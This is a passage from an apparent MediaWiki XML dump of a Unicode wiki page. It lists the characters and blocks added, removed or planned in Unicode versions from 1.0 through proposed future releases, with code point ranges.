* Jurchen Small Script characters (total 5 characters) was added to '''Khitan Small Script'''. (U+18CD6-U+18CDA)
* Two additional ideographs (total 2 characters) was added to '''Tangut Supplement'''. (U+18D1F-U+18D20)
* Hiragana Digraph Koto, Katakana Diagraphs Toki, Tote, and Yori, letters alternate Ne, and Wi (total 6 characters) was added to '''Kana Extended-A'''. (U+1B123-U+1B128)
* Katakana letter small archaic Ye (total 1 character) was added to '''Small Kana Extension'''. (U+1B168)
* Leibnizian alchemical symbols,  Leibnizian cossic characters, and Leibnizian mathematical signs and symbols (total 19 characters) was added to '''Miscellaneous Symbols Supplement'''. (U+1CED2-U+1CED4, U+1CEDD-U+1CEDF, U+1CEF1-U+1CEFD)
* Stein Zimmerman Symbols, Digit Slash Symbols, and other Symbols (total 23 characters) was added to '''Musical Symbols'''. (U+1D127-U+1D128, U+1D1EB-U+1D1FF)
* Mathematical italic long s with descender s (U+1D6A6) was added to '''Mathematical Alphanumeric Symbols'''.
* Affricate ligatures, letters with palatal hook, barred letters, RFE letters, Initial Teaching Alphabet, English Phonotypic Alphabet, Leibnizian cossic characters, and modifier letters (total 151 characters) was added to '''Latin Extended-G'''. (U+1DF1F-U+1DF24, U+1DF2B-U+1DF81, U+1DF90-U+1DF96, U+1DFCD-U+1DFFF)
* A Tomobiki symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F1AE)
* A lighthouse (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D9)
* A black circle with white vertical bar, and Extended Geometric Shapes (total 17 characters) was added to '''Geometric Shapes Extended'''. (U+1F7DA-U+1F7DB, U+1F7F1-U+1F7FF)
* A meteor, eraser, net with handle, monarch butterfly, pickle, cracking face, leftwards thumb sign, and rightwards thumb sign (total 8 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8B-1FA8D, U+1FACC, U+1FADD, U+1FAEB, U+1FAF9-1FAFA)
* An additional ideograph (total 1 character) was added to '''CJK Unified Ideographs Extension D'''. (U+2B81E)

== Unicode 19.0==
Unicode 19.0 will be released in late 2027. There are more characters targeted for this version, but they have not been confirmed yet.

=== New Blocks ===
* '''CJK Unified Ideographs Components-A''' (U+2FA20-U+2FA9F), containing 119 characters, will be added.
* '''CJK Unified Ideographs Components-B''' (U+2FAA0-U+2FC1F), containing 375 characters, will be added.

== Code Points Provisionally Assigned==
This is a section where you can add any upcoming Unicode characters that have been [https://www.unicode.org/alloc/Pipeline.html#codepoint_reservation provisionally assigned for mature proposals] (but not yet accepted) for a future update of The Unicode Standard.

=== New Blocks ===
* '''Arabic Extended-D''' (U+10D90-U+10E5F), containing 3 characters, will be added.
* '''Sirmauri''' (U+11850-U+1188F), containing 55 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Leke''' (U+11B80-U+11BBF), containing 55 characters, will be added.
* '''Proto-Cuneiform''' (U+12690-U+12ECF), containing 1392 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Chisoi''' (U+16D80-U+16DAF), containing 40 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Mwangwego''' (U+16E00-U+16E3F), containing 64 characters, will be added.
* '''Shaaldaa''' (U+1C800-U+1CB2F), containing 804 characters, will be added.
* '''Leibnizian Ambiguous Signs''' (U+1DC00-U+1DC3F), containing 54 characters, will be added.)&lt;!--target: 19.0--&gt;

=== Extended Blocks ===
* Telugu Sign Spacing Candrabindu (total 1 character) will be added to '''Telugu'''. (U+0C70)&lt;!--target: 19.0--&gt;
* Kannada Signs Ardhanusvara and Combining Anusvara Above (total 1 character) will be added to '''Kannada'''. (U+0CF0 and U+0CF4)&lt;!--target: 19.0--&gt;
* Mongolian Letter Manchu Alternative Ue (total 1 character) will be added to '''Mongolian'''. (U+1879)
* Combining Grave-Acute-Macron, Combining inverted lazy s Above, and Combining comma Above and acute (total 3 characters) will be added to '''Combining Diacritical Marks Extended'''. (U+1AF1-U+1AF3)
* Cyrillic small letter Yeru with connecting bar (total 1 character) will be added to '''Cyrillic Extended-C'''. (U+1C8B)&lt;!--target: 19.0--&gt;
* Belarusian Ruble sign and Ruble sign with double vertical stem (total 2 characters) will be added to '''Currency Symbols'''. (U+20C5, U+20CF)&lt;!--20C5 target: 19.0--&gt;
* Combining Long Triple Solidus Overlay and Combining Saltire Overlay (total 2 characters) will be added to '''Combining Diacritical Marks for Symbols'''. (U+20F1-U+20F2)&lt;!--target: 19.0--&gt;
* Latin capital and small letter i with oblique stroke (total 2 characters) will be added to '''Latin Extended-D'''. (U+A7DE-U+A7DF)
* Latin capital letter u with left hook (total 1 character) will be added to '''Latin Extended-E'''. (U+AB6E)&lt;!--target: 19.0--&gt;
* Arabic Dotless Half-Yeh, Half-Yeh, Dotless Half-Jeem and Astronomical Kaf (total 4 characters) will be added to '''Arabic Extended-C'''. (U+10EC0-U+10EC1, U+10EC8, U+10EEF)&lt;!--10EC0-10EC1 target: 19.0--&gt;
* Brahmi minimizing virama (total 1 character) will be added to '''Brahmi'''. (U+1107E)&lt;!--target: 19.0--&gt;
* Tulu-Tigalari letter combining anusvara above, signs om pushpika with tail and shrii pushpika, and letter archaic II (total 5 characters) will be added to '''Tulu-Tigalari'''. (U+113CB, U+113D9-U+113DB)&lt;!--target: 19.0--&gt;
* Newa Letter Heavy Ya (total 1 character) will be added to '''Newa'''. (U+11462)
* Dogra Signs Candrabindu and Avaragha (total 2 characters) will be added to '''Dogra'''. (U+1183C-U+1183D)&lt;!--target: 19.0--&gt;
* Devanagari Jivamuliya and Upadhmaniya (total 2 characters) will be added to '''Devanagari Extended-A'''. (U+11B0B-U+11B0C)&lt;!--target: 19.0--&gt;
* White Ideographic Comma and Double Ideographic Full Stop (total 2 characters) will be added to '''Ideographic Symbols and Punctuation'''. (U+16FE5-U+16FE6)&lt;!--target: 19.0--&gt;
* Alchemical Symbol for Calx-2 and Alchemical Symbol for Retort-2 (total 2 characters) will be added to '''Miscellaneous Symbols Supplement'''. (U+1CED1, U+1CED5)&lt;!--target: 19.0--&gt;
* Musical Symbol down arrowhead breath mark (total 1 character) will be added to '''Musical Symbols Supplement'''. (U+1D282)
* Small w with palatal hook, small n and r with double middle tilde, small capital i with retroflex hook, small open q, x with stroke, small wavy y, schwa with right hook, Romance dialectology symbols, zh ligature, Albanian letter edhe, Albanian Frashëri letters, Modifier letter capital y, and modifier letter accents (total 26 characters) will be added to '''Latin Extended-G'''. (U+1DF82-U+1DF8F, U+1DF97-U+1DFA3, U+1DFC4-U+1DFCC)&lt;!--1DF82-1DF8A, 1DFC5-1DFCC target: 19.0--&gt;
*Arabic Astronomical zero and five astronomical symbols (total 6 characters) will be added to Arabic Mathematical Alphabetic Symbols (U+1EEE0-U+1EEE5)

==Roadmap Blocks==
This is a section where proportional maps of proposed allocations to Unicode and ISO/IEC 10646 are presented. Italic indicates scripts for which detailed proposals have not yet been written.&lt;ref&gt;[https://unicode.org/roadmaps/smp/]&lt;/ref&gt;

* '''Northern Palaeohispanic''' (U+10200-U+1023F)
* '''Southern Palaeohispanic''' (U+10240-U+1027F)
* '''''Shavian Quikscript''' (U+103E0-U+103FF)''
* '''Combining Diacritical Marks Extended-A''' (U+107C0-U+107FF)
* '''Proto-Sinaitic''' (U+108B0-U+108DF)
* '''''Numidian''' (U+10960-U+1097F)''
* '''Balti''' (U+10AA0-U+10ABF)
* '''Book Pahlavi''' (U+10BB0-U+10BDF)
* '''Baburi''' (U+10BE0-U+10BFF)
* '''Arabic Extended-D''' (U+10D90-U+10E5F)
* '''Landa''' (U+11250-U+1127F)
* '''Tani Lipi''' (U+114E0-U+114FF)
* '''Ranjana''' (U+11500-U+1157F)
* '''Zou''' (U+11750-U+117AF)
* '''Pyu''' (U+117B0-U+117FF)
* '''Vateluttu''' (U+11960-U+1199F)
* '''Balti-B''' (U+11CC0-U+11CFF)
* '''Tocharian''' (U+11E00-U+11E6F)
* '''Khotanese''' (U+11E70-U+11ECF)
* '''Pallava''' (U+11F60-U+11FAF)
* '''''Egyptian Hieroglyphs Extended-B''' (U+14680-U+151FF)''
* '''Mayan Hieroglyphs''' (U+15500-U+15AFF)
* '''Kore Sebeli''' (U+15B00-U+15B6F)
* '''Mandombe''' (U+15B80-U+15FFF)
* '''Wei Rma''' (U+16000-U+1604F)
* '''Wagindara''' (U+16050-U+1607F)
* '''Kurukh Banna''' (U+16140-U+1618F)
* '''Moon''' (U+161A0-U+161FF)
* '''Blissymbols''' (U+16200-U+167FF)
* '''Woleai''' (U+16B90-U+16BFF)
* '''Kpelle''' (U+16C00-U+16C7F)
* '''Tikamuli''' (U+16C80-U+16CBF)
* '''Tangsa (Khimhun)''' (U+16CD0-U+16CFF)
* '''Afaka''' (U+16D00-U+16D3F)
* '''Kulitan''' (U+16DD0-U+16DFF)
* '''''Bopomofo Extended-A''' (U+16FA0-U+16FAF)''
* '''Kanbun Extended-A''' (U+16FB0-U+16FDF)
* '''Khitan Large Script''' (U+19200-U+199FF)
* '''Pau Cin Hau Syllabary''' (U+19E00-U+1A2FF)
* '''Eskaya''' (U+1A300-U+1A75F)
* '''Rejang Extended''' (U+1A760-U+1A77F)
* '''''Kaida''''' (U+1A780-U+1A7FF)
* '''Naxi Dongba''' (U+1A800-U+1ACFF)
* '''''Naxi Geba''' (U+1AD00-U+1AFCF)''
* '''''Kana Extended-C''' (U+1AFD0-U+1AFEF)''
* '''Shuishu Logograms''' (U+1B300-U+1B5FF)
* '''Lisu Syllabic Script''' (U+1B600-U+1B9FF)
* '''Indus''' (U+1BA00-U+1BB8F)
* '''Pitman Shorthand''' (U+1BCB0-U+1BCFF)
* '''Proto-Elamite''' (U+1BE00-U+1C37F)
* '''Linear Elamite''' (U+1C380-U+1C4FF)
* '''Ndiko Jonam''' (U+1CB30-U+1CB7F)
* '''N&lt;nowiki&gt;'&lt;/nowiki&gt;ti''' (U+1CB80-U+1CBAF)
* '''Old Chinese Musical Symbols (Flute and Pipa)''' (U+1D290-U+1D2BF)
* '''''Mathematical Alphanumeric Symbols Supplement''' (U+1D380-U+1D3FF)''
* '''Jianzi Format Controls''' (U+1DAE0-U+1DAFF)
* '''Eebee Hmong''' (U+1E150-U+1E1FF)
* '''Western Cham''' (U+1E200-U+1E26F)
* '''Loma''' (U+1E300-U+1E41F)
* '''Bagam''' (U+1E420-U+1E4CF)
* '''Pungchen''' (U+1E500-U+1E52F)
* '''''Pungchung''' (U+1E530-U+1E55F)''
* '''''Marchung''' (U+1E560-U+1E59F)''
* '''Brusha''' (U+1E5A0-U+1E5CF)
* '''''Chola''' (U+1E600-U+1E65F)''
* '''Box-Headed''' (U+1E660-U+1E6BF)
* '''Lampung''' (U+1E700-U+1E73F)
* '''Kerinci''' (U+1E740-U+1E76F)
* '''Buginese Supplement''' (U+1E770-U+1E7BF)
* '''''Lontara Bilang-Bilang''' (U+1E7C0-U+1E7DF)''
* '''N'Ko Supplement''' (U+1E960-1E97F)
* '''''Byblos''''' (U+1EB90-U+1EBFF)
* '''Persian Siyaq Numbers''' (U+1EC00-U+1EC7F)
* '''Diwani Siyaq Numbers''' (U+1ECC0-U+1ECFF)
* '''''Extended Pictographic Characters''' (U+1FC00-U+1FFFF)''

== References ==
{{reflist}}</text>
      <sha1>sn9v1bskhes5ojx1qu0a9wpkcxc83ko</sha1>
    </revision>
    <revision>
      <id>4670510</id>
      <parentid>4670502</parentid>
      <timestamp>2026-09-16T21:44:18Z</timestamp>
      <contributor>
        <username>Alexlatham96</username>
        <id>377450</id>
      </contributor>
      <comment>/* Extended blocks */ corrected</comment>
      <origin>4670510</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="130406" sha1="mw3p90um2danntqejsdf77k5y8jdonj" xml:space="preserve">{{pp-protected|small=yes}}
{{Unicode page}}
{{TOC right}}
{{refimprove|date=June 2017}}
This page is about each version specification, and the differences between the versions.

== Unicode 1.0 ==

Unicode 1.0 was the first version of Unicode, released October 1991. It encoded 7,094 new characters.

=== “Blocks” ===
This version of Unicode did not formally group characters in blocks. But in comparison with version 2.0, the following “blocks” were available:
U+0000-U+FFFD
51 Blocks
* '''Basic Latin (formerly called ASCII)''' (U+0000-U+007F), containing 128 characters.
* '''Latin-1 Supplement (formerly called Latin1)'''  (U+0080-U+00FF), containing 128 characters.
* '''Latin Extended-A''' '''(formerly called European Latin)''' (U+0100-U+017F), containing 127 characters.
* '''Latin Extended-B''' '''(formerly called Extended Latin)''' (U+0180-U+01FF), containing 113 characters.
* '''IPA Extensions''' '''(formerly called Standard Phonetic)''' (U+0250-U+02AF), containing 89 characters.
* '''Spacing Modifier Letters''' '''(formerly called Modifier Letters)''' (U+02B0-U+02FF), containing 57 characters.
* '''Combining Diacritical Marks''' '''(formerly called Generic Diacritical Marks)''' (U+0300-U+036F), containing 66 characters.
* '''Greek and Coptic''' '''(formerly called Greek)''' (U+0370-U+03FF), containing 112 characters.
* '''Cyrillic''' (U+0400-U+04FF), containing 192 characters.
* '''Armenian''' (U+0530-U+058F), containing 84 characters.
* '''Hebrew''' (U+0590-U+05FF), containing 52 characters.
* '''Arabic''' (U+0600-U+06FF), containing 169 characters.
* '''Devanagari''' (U+0900-U+097F), containing 104 characters.
* '''Bengali''' (U+0980-U+09FF), containing 89 characters.
* '''Gurmukhi''' (U+0A00-U+0A7F), containing 74 characters.
* '''Gujarati''' (U+0A80-U+0AFF), containing 75 characters.
* '''Oriya''' (U+0B00-U+0B7F), containing 78 characters.
* '''Tamil''' (U+0B80-U+0BFF), containing 61 characters.
* '''Telugu''' (U+0C00-U+0C7F), containing 80 characters.
* '''Kannada''' (U+0C80-U+0CFF), containing 80 characters.
* '''Malayalam''' (U+0D00-U+0D7F), containing 78 characters.
* '''Thai''' (U+0E00-U+0E7F), containing 92 characters.
* '''Lao''' (U+0E80-U+0EFF), containing 70 characters.
* '''Tibetan''' (U+1000-U+105F), containing 71 characters.
* '''Georgian''' (U+10A0-U+10FF), containing 78 characters.
* '''General Punctuation''' (U+2000-U+206F), containing 67 characters.
* '''Superscripts and Subscripts''' (U+2070-U+209F), containing 28 characters.
* '''Currency Symbols''' (U+20A0-U+20CF), containing 11 characters.
* '''Combining Marks for Symbols''' '''(formerly called Diacritical Marks for Symbols)''' (U+20D0-U+20FF), containing 18 characters.
* '''Letterlike Symbols''' (U+2100-U+214F), containing 57 characters.
* '''Number Forms''' (U+2150-U+218F), containing 48 characters.
* '''Arrows''' (U+2190-U+21FF), containing 91 characters.
* '''Mathematical Operators''' (U+2200-U+22FF), containing 242 characters.
* '''Miscellaneous Technical''' (U+2300-U+23FF), containing 43 characters.
* '''Control Pictures''' '''(formerly called Pictures for Control Codes)''' (U+2400-U+243F), containing 37 characters.
* '''Optical Character Recognition''' (U+2440-U+245F), containing 11 characters.
* '''Enclosed Alphanumerics''' (U+2460-U+24FF), containing 139 characters.
* '''Box Drawing''' '''(formerly called Form and Chart Components)''' (U+2500-U+257F), containing 128 characters.
* '''Block Elements''' '''(formerly called Blocks)''' (U+2580-U+259F), containing 22 characters.
* '''Geometric Shapes''' (U+25A0-U+25FF), containing 79 characters.
* '''Miscellaneous Symbols''' '''(formerly called Miscellaneous Dingbats)''' (U+2600-U+26FF), containing 106 characters.
* '''Dingbats''' '''(formerly called Zapf Dingbats)''' (U+2700-U+27BF), containing 160 characters.
* '''CJK Symbols and Punctuation''' (U+3000-U+303F), containing 56 characters.
* '''Hiragana''' (U+3040-U+309F), containing 90 characters.
* '''Katakana''' (U+30A0-U+30FF), containing 90 characters.
* '''Bopomofo''' (U+3100-U+312F), containing 40 characters.
* '''Hangul Compatibility Jamo (formerly called Hangul Elements)''' (U+3130-U+318F), containing 94 characters.
* '''Kanbun (formerly called CJK Miscellaneous)''' (U+3190-U+31FF), containing 16 characters.
* '''Enclosed CJK Letters and Months''' '''(formerly called''' '''Enclosed CJK Letters and Ideographs)''' (U+3200-U+32FF), containing 191 characters.
* '''CJK Compatibility''' '''(formerly called CJK Squared Words for U+3300-U+337F and CJK Squared Abbreviations for U+3380-33FF)''' (U+3300-U+33FF), containing 187 characters.
* '''Hangul''' (U+3400-U+3D2D), containing 2,350 characters.
* '''Private Use Area''' (U+E000-U+FDFF), reserved for 5,632 characters.
* '''CJK Compatibility Forms''' '''(formerly called CNS 11643 Compatibility)''' (U+FE30-U+FE4F), containing 28 characters.
* '''Small Form Variants''' '''(formerly called Small Variants)''' (U+FE50-U+FE6F), containing 26 characters.
* '''Arabic Presentation Forms-B''' '''(formerly called Basic Glyphs for Arabic Language)''' (U+FE70-U+FEFF), containing 140 characters.
* '''Halfwidth and Fullwidth Forms''' '''(formerly called Halfwidth and Fullwidth Variants)''' (U+FF00-U+FFEF), containing 216 characters.
* '''Specials''' '''(formerly called Special)''' (U+FFF0-U+FFFF), containing 1 character.

== Unicode 1.0.1 ==
Unicode 1.0.1 was released June 1992. It encoded 28,292 characters, adding 21,204 new characters and removing 6 characters, for a net increase of 21,198 characters.

=== New blocks ===

* '''CJK Unified Ideographs''' (U+4E00-U+9FFF), containing 20,902 Han Ideographs for Chinese, Japanese and Korean, was added.
* '''CJK Compatibility Ideographs''' (U+F900-U+FAFF), containing 302 Han Ideographs for compatibility with existing character sets, was added.

=== Removed characters ===
* Letters Ka and Kha with Ogonek (total 4 characters) were removed from '''Cyrillic'''. (U+04C5-U+04C6 and U+04C9-U+04CA)
* APL Compose Operator and APL Out (total 2 characters) were removed from '''Miscellaneous Technical'''. (U+2300-U+2301)

=== Rearranged characters ===
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)
*'''Circled Katakana:''' ''The characters well be arranged in modern order: e.g., A, I, U, E, O, KA, KI'' (U+32D0-U+32FE)
*'''Basic Glyphs For Arabic Language:''' ''The character shapes will be arranged in different order: Isolate, Final, Initial and Medial'' (U+FE80-FEFC)

=== Characters with semantics changed ===
*'''Zero Width Non-Joiner''' [ZWNJ] (U+20DC)

*'''Zero Width Joiner''' [ZWJ] (U+20DD)

== Unicode 1.1 ==

Unicode 1.1 was released June 1993. It encoded 34,168 characters, adding 5,969 new characters and removing 93 characters, for a net increase of 5,876 characters. It finalized the long anticipated Han Unification.

=== New blocks ===

* '''Hangul Jamo''' (U+1100-U+11FF), containing 240 ''jamo'' for the Hangul script, was added.
* '''Latin Extended Additional''' (U+1E00-U+1EFF), containing 245 precomposed characters for transliteration and Vietnamese, was added.
* '''Greek Extended''' (U+1F00-U+1FFF), containing 233 precomposed characters for polytonic Greek, was added.
* '''Hangul Supplementary-A''' (U+3D2E-U+44B7), containing 1,930 precomposed syllables for the Hangul script, was added.
* '''Hangul Supplementary-B''' (U+44B8-U+4DFF), containing 2,376 precomposed syllables for the Hangul script, was added.
* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 57 precomposed characters and ligatures, was added.
* '''Arabic Presentation Forms-A''' (U+FB50-U+FDFF), containing 593 combinations of Arabic letters, was added.
* '''Combining Half Marks''' (U+FE20-U+FE2F), containing 4 halves of diacritical marks, was added.

=== Extended blocks ===

* The long S (ſ) (total 1 character) was added to '''Latin Extended-A'''. (U+017F)
* The Hungarian Dz, characters for transliteration purposes and precomposed characters with double grave and inverted breve (total 35 characters) were added to '''Latin Extended-B''' (U+01F1-U+01F5 and U+01FA-U+0217). The block was expanded from (U+0180-U+01FF) to (U+0180-U+024F)
* Diacritics for polytonic Greek and double width diacritics (total 6 characters) were added to '''Combining Diacritical Marks'''. (U+0342-U+0345 and U+0360-U+0361)
* Compatibility character now deprecated, Ano Teleia, and other characters (total 5 characters) were added to '''Greek and Coptic''' (U+0374-U+0375, U+037A, U+037E and U+0387).
* Additional characters for non-Slavic languages (total 38 characters) were added to '''Cyrillic'''. (U+04D0-U+04EB, U+04EE-U+04F5 and U+04F8-U+04F9)
* A ligature of Ech and Yiwn (և) (total 1 character) was added to '''Armenian'''. (U+0587)
* One deprecated compatibility character and several characters for biblical texts (total 25 characters) were added to '''Arabic'''. (U+066D and U+06D6-U+06ED)
* A sign Virama (total 1 character) was added to '''Gurmukhi''' (U+0A4D).
* Letters Candra O and E (total 3 characters) were added to '''Gujarati'''. (U+0A8D, U+0A91 and U+0AC9)
* An Ai Length mark (total 1 character) was added to '''Oriya'''. (U+0B56)
* An undertie, a pair of brackets and six formatting characters now deprecated (total 9 characters) were added to '''General Punctuation'''. (U+203F, U+2045-U+2046 and U+206A-U+206F)
* Some additional symbols and the complete set of APL functional symbols (total 79 characters) were added to '''Miscellaneous Technical'''. (U+2300 and U+232D-U+237A)
* A large circle (◯) (total 1 character) was added to '''Geometric Shapes'''. (U+25EF)
* The ideographic telegraph line feed separator symbol (〷) (total 1 character) was added to '''CJK Symbols and Punctuation'''. (U+3037)
* Four Katakana letters not in use since 1945 (total 4 characters) were added to '''Katakana'''. (U+30F7-U+30FA)
* Ideographic telegraph symbols for the twelve months (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+32C0-U+32CB)
* Ideographic telegraph symbols for hours and days and six additional measure units (total 62 characters) were added to '''CJK Compatibility'''. (U+3358-U+3376 and U+33E0-U+33FE)
* Some more space (total 2,304 characters) was added to the '''Private Use Area'''.
* Seven halfwidth geometric shapes (total 7 characters) were added to '''Halfwidth and Fullwidth Forms'''. (U+FFE8-U+FFEE)

=== Removed blocks ===
* '''Tibetan''', containing 71 letters for the Tibetan script, was removed from the Unicode standard.

=== Removed characters ===
* A total of 10 characters were removed from '''Greek and Coptic'''. (U+0370-U+0372, U+03D7-U+03D9, U+03DB, U+03DD, U+03DF, and U+03E1)
* Point Varika (total 1 character) was removed from ''Hebrew''. (U+05F5)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Thai'''. (U+0E70-U+0E74)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Lao'''. (U+0EF0-U+0EF4)
* An Ideographic Ditto Mark (total 1 character) was removed from '''CJK Symbols and Punctuation''' (U+3004) and merged with CJK Unified Ideograph-4EDD.

=== Rearranged characters ===
* Greek character U+03F3 was changed from Spacing Tonos to Letter Yot.
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)

== Unicode 2.0 ==

Unicode 2.0 was released July 1996. It encoded 38,885 characters, adding 11,373 new characters and removing 6,656 characters, for a net increase of 4,717 characters. This was the first Unicode version to reserve blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Hangul Syllables''' (U+AC00-U+D7AF), containing 11,172 precomposed syllables for the Hangul script, was added.
* '''High Surrogates''' (U+D800-U+DB7F), setting aside 896 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''High Private Use Surrogates''' (U+DB80-U+DBFF), setting aside 128 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Low Surrogates''' (U+DC00-U+DFFF), setting aside 1,024 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Supplementary Private Use Area-A''' (U+F0000-U+FFFFF), reserving 65,534 characters for private use, was added.
* '''Supplementary Private Use Area-B''' (U+100000-U+10FFFF), reserving 65,534 characters for private use, was added.

=== Reinstated blocks ===

* '''Tibetan''' (U+0F00-U+0FFF), now containing 168 characters for the Tibetan script including religious signs, was readded.

=== Removed blocks ===

* '''Hangul''', containing 2,350 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-A''', containing 1,930 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-B''', containing 2,376 precomposed syllables for the Hangul script, was removed from the Unicode standard.

=== Extended blocks ===

* Cantillation marks for use in religious texts (total 31 characters) were added to '''Hebrew'''. (U+0591-U+05A1, U+05A3-U+05AF and U+05C4)
* A long S with Dot Above (total 1 character) was added to '''Latin Extended Additional'''. (U+1E9B)
* A Vietnamese Dong sign (total 1 character) was added to '''Currency Symbols'''. (U+20AB)

== Unicode 2.1 ==

Unicode 2.1 was released May 1998. It encoded 38,887 characters, adding only 2 new characters.

=== Extended blocks ===

* A Euro sign (total 1 character) was added to '''Currency Symbols'''. (U+20AC)
* An Object Replacement Character (total 1 character) was added to '''Specials'''. (U+FFFC)

== Unicode 3.0 ==

Unicode 3.0 was released September 1999. It was a big update and encoded 49,194 characters, adding 10,307 new characters.

=== New blocks ===

* '''Syriac''' (U+0700-U+074F), containing 71 characters used for writing in Syriac script, was added.
* '''Thaana''' (U+0780-U+07BF), containing 49 characters used for writing in Thaana script, was added.
* '''Sinhala''' (U+0D80-U+0DFF), containing 80 characters for the Sinhala script, was added.
* '''Myanmar''' (U+1000-U+109F), containing 78 characters for the Burmese script, was added.
* '''Ethiopic''' (U+1200-U+137F), containing 345 syllables and punctuation marks for the Ethiopic script, was added.
* '''Cherokee''' (U+13A0-U+13FF), containing 85 syllables for the Cherokee script, was added.
* '''Unified Canadian Aboriginal Syllabics''' (U+1400-U+167F), containing 630 syllables and punctuation marks for writing in indigenous languages of Canada, was added.
* '''Ogham''' (U+1680-U+169F), containing 29 characters for the ancient Ogham script, was added.
* '''Runic''' (U+16A0-U+16FF), containing 81 characters for the Germanic runes, was added.
* '''Khmer''' (U+1780-U+17FF), containing 103 characters for the Khmer script, was added.
* '''Mongolian''' (U+1800-U+18AF), containing 155 characters for the classical Mongolian script, was added.
* '''Braille Patterns''' (U+2800-U+28FF), containing 256 Braille letters, was added.
* '''CJK Radicals Supplement''' (U+2E80-U+2EFF), containing 115 non-Kangxi radicals, was added.
* '''Kangxi Radicals''' (U+2F00-U+2FDF), containing 214 radicals from the Kangxi dictionary, was added.
* '''Ideographic Description Characters''' (U+2FF0-U+2FFF), containing 12 characters used to describe a Han ideograph not available in the font, was added.
* '''Bopomofo Extended''' (U+31A0-U+31BF), containing 24 characters used for phonetic transcription of minority languages of Taiwan, was added.
* '''CJK Unified Ideographs Extension A''' (U+3400-U+4DBF), containing 6,582 additional Han Ideographs, was added.
* '''Yi Syllables''' (U+A000-U+A48F), containing 1,165 syllables of the modern Yi script, was added.
* '''Yi Radicals''' (U+A490-U+A4CF), containing 50 radicals of Yi Syllables, was added.

=== Extended blocks ===

* Additional precomposed characters, letters and capital letters of lowercase-only letters (total 30 characters) were added to '''Latin Extended-B'''. (U+01F6-U+01F9, U+0218-U+021F and U+0222-U+0233)
* Extensions for disordered speech (total 5 characters) were added to '''IPA Extensions'''. (U+02A9-U+02AD)
* Some additional modifier letters (total 6 characters) were added to '''Spacing Modifier Letters'''. (U+02DF and U+02EA-U+02EE)
* Additional combining diacritics for IPA (total 10 characters) were added to '''Combining Diacritical Marks'''. (U+0346-U+034E and U+0362)
* Lowercase versions of archaic letters and the Kai symbol (total 5 characters) were added to '''Greek and Coptic'''. (U+03D7, U+03DB, U+03DD, U+03DF and U+03E1)
* Nonstandard letters for Macedonian, combining numeral signs and three letters for Kildin Sami (total 12 characters) were added to '''Cyrillic'''. (U+0400, U+040D, U+0450, U+045D, U+0488-U+0489, U+048C-U+048F and U+04EC-U+04ED)
* A Hyphen (total 1 character) was added to '''Armenian'''. (U+058A)
* Combining hamza and maddah and nine additional Arabic characters (total 12 characters) were added to '''Arabic'''. (U+0653-U+0655, U+06B8-U+06B9, U+06BF, U+06CF and U+06FA-U+06FE)
* Additional letters and religious symbols (total 25 characters) were added to '''Tibetan'''. (U+0F6A, U+0F96, U+0FAE-U+0FB0, U+0FB8, U+0FBA-U+0FBC, U+0FBE-U+0FCC and U+0FCF)
* A narrow no-break space and 6 additional punctuation marks (total 7 characters) were added to '''General Punctuation'''. (U+202F and U+2048-U+204D)
* The Kip, Tugrik and Drachma sign (total 3 characters) were added to '''Currency Symbols'''. (U+20AD-U+20AF)
* An enclosing screen and an enclosing key (total 2 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E2-U+20E3)
* The information symbol and a rotated Q (total 2 characters) were added to '''Letterlike Symbols'''. (U+2139-U+213A)
* A mirrored Roman capital numeral hundred (Ↄ) (total 1 character) was added to '''Number Forms'''. (U+2183)
* Some additional arrows (total 9 characters) were added to '''Arrows'''. (U+21EB-U+21F3)
* Some additional technical symbols, including common keys on a 101 keyboard (total 33 characters) were added to '''Miscellaneous Technical'''. (U+2301, U+237B and U+237D-U+239A)
* Two additional control pictures (total 2 characters) were added to '''Control Pictures'''. (U+2425-U+2426)
* Squares and circles with quadrants (total 8 characters) were added to '''Geometric Shapes'''. (U+25F0-U+25F7)
* Two Syriac crosses and a signature mark (total 3 characters) were added to '''Miscellaneous Symbols'''. (U+2619 and U+2670-U+2671)
* Three Hangzhou numerals and a variation indicator (total 4 characters) were added to '''CJK Symbols and Punctuation'''. (U+3038-U+303A and U+303E)
* A ligature Yod with Hiriq (יִ) (total 1 character) was added to '''Alphabetic Presentation Forms'''. (U+FB1D)
* Three additional control characters for ruby markup (total 3 characters) were added to '''Specials'''. (U+FFF9-U+FFFB)

== Unicode 3.1 ==

Unicode 3.1 was released March 2001. It encoded 94,140 characters, adding 44,946 new characters, and mainly focused on blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Old Italic''' (U+10300-U+1032F), containing 35 letters for the Etruscan script, was added.
* '''Gothic''' (U+10330-U+1034F), containing 27 letters for the Gothic script, was added.
* '''Deseret''' (U+10400-U+1044F), containing 76 letters for the constructed Deseret script, was added.
* '''Byzantine Musical Symbols''' (U+1D000-U+1D0FF), containing 246 symbols for musical notation in Byzantine, was added.
* '''Musical Symbols''' (U+1D100-U+1D1FF), containing 219 characters for current musical notation, was added.
* '''Mathematical Alphanumeric Symbols''' (U+1D400-U+1D7FF), containing 991 Latin and Greek letters in serif, sans-serif, bold, italic, double-struck, script and Fraktur/Blackletter, was added.
* '''CJK Unified Ideographs Extension B''' (U+20000-U+2A6DF), containing 42,711 additional Chinese Ideographs, was added.
